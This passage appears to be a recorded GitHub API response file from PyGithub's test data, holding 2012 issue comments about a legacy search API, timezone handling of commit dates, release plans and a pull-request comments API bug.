your commit in branch `develop`. It will go in `master` when I publish version 1.2. You can expect it on Saturday or Sunday. Thank you again for the bug report and the associated patch.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6640189},{"updated_at":"2012-06-28T21:02:23Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5191621","created_at":"2012-06-28T20:49:13Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6641223","body":"Problem: issues returned by the [`/legacy/issues/search` API](http://developer.github.com/v3/search/#search-issues) do not match those returned by [other v3 APIs](http://developer.github.com/v3/issues/#response):\n* labels are returned only by name, not not name, color and url\n* date-time format is different\n* maybe something else\n\nOf course, similar differences exist for users and repositories.\n\nIntegrating this legacy API will be more difficult than I thought.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6641223},{"updated_at":"2012-06-29T18:47:28Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5191621","created_at":"2012-06-29T18:47:28Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6673380","body":"This is implemented in version 1.2, you can update from pypi.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6673380},{"updated_at":"2012-07-02T14:58:45Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","created_at":"2012-07-02T14:58:45Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6710355","body":"Interestingly, if I convert this manually in the meantime, using the method you use in the PyGithub code (`tdate=datetime.datetime.strptime(t.commit.commit.committer.date, \"%Y-%m-%dT%H:%M:%SZ\")`), I get an error cause the format does not match. I get a string of the form `2010-02-11T01:17:27-08:00` - time zone information has been added, but I don't know how to parse it, the `:` in `-08:00` prevents me from using `%z` (which expects UTC offset in the form +HHMM or -HHMM). I will discard it for now, but maybe you got insight why this happens?","user":{"type":"User","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","url":"https://api.github.com/users/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","id":327442},"id":6710355},{"updated_at":"2012-07-03T07:15:53Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","created_at":"2012-07-03T07:15:53Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6727553","body":"Hello Christoph!\n\nIndeed this attribute should be a `datetime.datetime`. And as you noticed, it is not formated like other dates returned by Github... I remember I discovered that when I was doing the conversion from string of all the `*_at` and `*_on` attributes, and I did not take time to dig deeper.\n\nI will create a more generic date parsing function that handles all formats returned by Github, and I'll use it for all `datetime` attributes.\n\nBut before that, I'll have to understand timezone handling in Python, so do not expect this too soon (maybe mid-July).","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6727553},{"updated_at":"2012-07-03T07:24:21Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","created_at":"2012-07-03T07:24:21Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6727659","body":"yeah no problem, I'm not reliant on so precise information, take your time. btw, maybe that's a bug in the github API? why would this one time be returned in a different way than all the others? I can't see a reason for this.\n\nagreed, time(zones) in python are crazy at times.","user":{"type":"User","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","url":"https://api.github.com/users/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","id":327442},"id":6727659},{"updated_at":"2012-07-03T07:36:30Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","created_at":"2012-07-03T07:36:30Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6727848","body":"I don't think it's a bug in Github:\n* `GitAuthor.date` is related to an action done somewhere (on the committer's computer), so it carries the timezone of this computer\n* other datetimes are related to actions done on Github's servers, so it's returned with a \"Z\" timezone meaning \"UTC\", the timezone of these servers.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6727848},{"updated_at":"2012-07-03T07:50:18Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","created_at":"2012-07-03T07:50:18Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6728069","body":"And by the way, I'm not sure it's a problem for you but I prefer to make it clear: if `tag` is a `Tag`, then `tag.commit.commit.committer.date` is the date of the tagged commit, not the date of the tag. If you really need the date of the tag, you need a `GitTag` and use `git_tag.tagger.date`.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6728069},{"updated_at":"2012-07-03T07:59:36Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","created_at":"2012-07-03T07:59:36Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6728241","body":"ah, makes sense. If you want to avoid the timezone confusion, mayb what is suggested [here](http://stackoverflow.com/a/117615/599884) makes most sense: \n\"Keep your internal datetime objects naive and in UTC and convert to your timezone for formatting only. The reason why you probably want naive objects (objects without timezone information) is that many libraries and database adapters have no idea about timezones.\"\nSo maybe it makes sense to just convert the GitAuthor times to UTC when getting them (i.e. apply the offset to the given time), to be consistent with the rest.\n\nThanks about the clarification re: GitTag/Tag. I prefer the date of the tagged commit, though, the tags mark release commits.\n","user":{"type":"User","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","url":"https://api.github.com/users/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","id":327442},"id":6728241},{"updated_at":"2012-07-07T18:18:46Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","created_at":"2012-07-03T08:08:08Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6728370","body":"If I convert the `GitAuthor.date` to UTC, I loose the information about where the committer lives... It may or may not be a problem depending on my client's use case.\n\nI'll find a way to make it clear and not loose information, maybe I will convert `date` to UTC (keep it naive), and add another attribute `timezone` to `GitAuthor`.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6728370},{"updated_at":"2012-07-10T19:42:43Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","created_at":"2012-07-10T19:42:43Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6886561","body":"I still have to convert the datetime to UTC. But there is something silly about timezones returned by Github: my commits are timezoned \"-07:00\" while I live in France (UTC +1 or +2). I have to investigate that.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6886561},{"updated_at":"2012-07-13T19:17:15Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","created_at":"2012-07-13T19:05:53Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6972414","body":"Well, well, well... I now revise my judgement: **absolutely all** commits I've retrieved from Github are in timezone -07:00, so this must indeed be a flaw in the API, returning date formatted in the local timezone of the GIthub servers only for this attribute. @bilderbuchi, you were right in https://github.com/PyGithub/PyGithub/issues/54#issuecomment-6727659 :-)\n\nThere is no point keeping this GitAuthor.timezone attribute. I will just convert everything to UTC.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6972414},{"updated_at":"2012-07-15T19:57:26Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","created_at":"2012-07-15T19:57:26Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6994436","body":"ok. maybe also write to github about this probable bug in the API, to see what's the deal?","user":{"type":"User","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","url":"https://api.github.com/users/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","id":327442},"id":6994436},{"updated_at":"2012-07-18T09:12:53Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","created_at":"2012-07-18T09:12:53Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7060818","body":"@bilderbuchi, to be honest, I don't think I will take time to contact Github about that.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":7060818},{"updated_at":"2012-07-18T09:21:16Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","created_at":"2012-07-18T09:21:16Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7060993","body":"Sure, I understand. :-)","user":{"type":"User","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","url":"https://api.github.com/users/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","id":327442},"id":7060993},{"updated_at":"2012-07-24T16:07:06Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5783131","created_at":"2012-07-24T16:07:06Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7211543","body":"Thank you for this useful contribution! You even respected my special spacing convention!\n\nI will publish the version 1.4 of PyGithub next week-end.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":7211543},{"updated_at":"2012-07-31T18:47:09Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5783131","created_at":"2012-07-31T18:47:09Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7407798","body":"Hum, I'm having trouble with my computer and not much time to fix it. I'll publish PyGithub 1.4 as soon as possible.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":7407798},{"updated_at":"2012-08-04T06:11:43Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5806612","created_at":"2012-08-04T06:11:43Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7499550","body":"Published, at last...","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":7499550},{"updated_at":"2012-08-21T22:15:01Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6353712","created_at":"2012-08-21T22:15:01Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/7918385","body":"Hello!\n\nI confirm that the following code exhibits the same issue:\n\n import github\n\n g = github.Github()\n r = g.get_user( \"jacquev6\" ).get_repo( \"PyGithub\" )\n p = r.get_pull( 57 )\n print p.title, \"has\", p.comments, \"comments\"\n print [ c.body[ :15 ] for c in p.get_comments() ]\n\nIt prints:\n\n Allows connection to GitHub Enterprise installs on local URLs has 2 comments\n []\n\nThis last line calls API https://api.github.com/repos/PyGithub/PyGithub/pulls/57/comments, as documented in http://developer.github.com/v3/pulls/comments/#list-comments-on-a-pull-request, but the API returns an empty list. I've just managed to get the comments by calling https://api.github.com/repos/PyGithub/PyGithub/issues/57/comments instead. The issue must be on Github's side.\n\nAs a **temporary** work-around, you can use the following code to do as if the pull request is an issue, and call the other API:\n\n print [ c.body[ :15 ] for c in r.get_issue( p.number ).get_comments() ]\n\nRight now, I have not enough time to take care of this problem, but if it's still here at the beginning of September, I will contact Github and/or patch PyGithub.\n\nEnjoy,","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":7918385}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/comments?since=2012-05-28T23%3A00%3A00Z {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '43751'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4965'), ('server', 'nginx'), ('last-modified', 'Fri, 21 Dec 2012 22:43:37 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"e9ac24ceac76d4d31cf648484a47b665"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Dec 2012 11:54:26 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4793162","body":"Add a test `Issue33.testClosedIssues` when `Repository.get_issues` uses its 'state' parameter for issue #33","updated_at":"2012-05-29T11:36:02Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5981084","created_at":"2012-05-29T11:36:02Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":5981084},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4793290","body":"Duplicate of #18...","updated_at":"2012-05-29T11:45:46Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5981232","created_at":"2012-05-29T11:45:46Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":5981232},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4639931","body":"Will be OK in version 1.0: no more strange meta-description of the API, and the (generated, but it does not mater) code is easily readable by the IDE's auto-completion tool.","updated_at":"2012-05-29T11:56:06Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5981409","created_at":"2012-05-29T11:56:06Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":5981409},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3716033","body":"This will be covered by 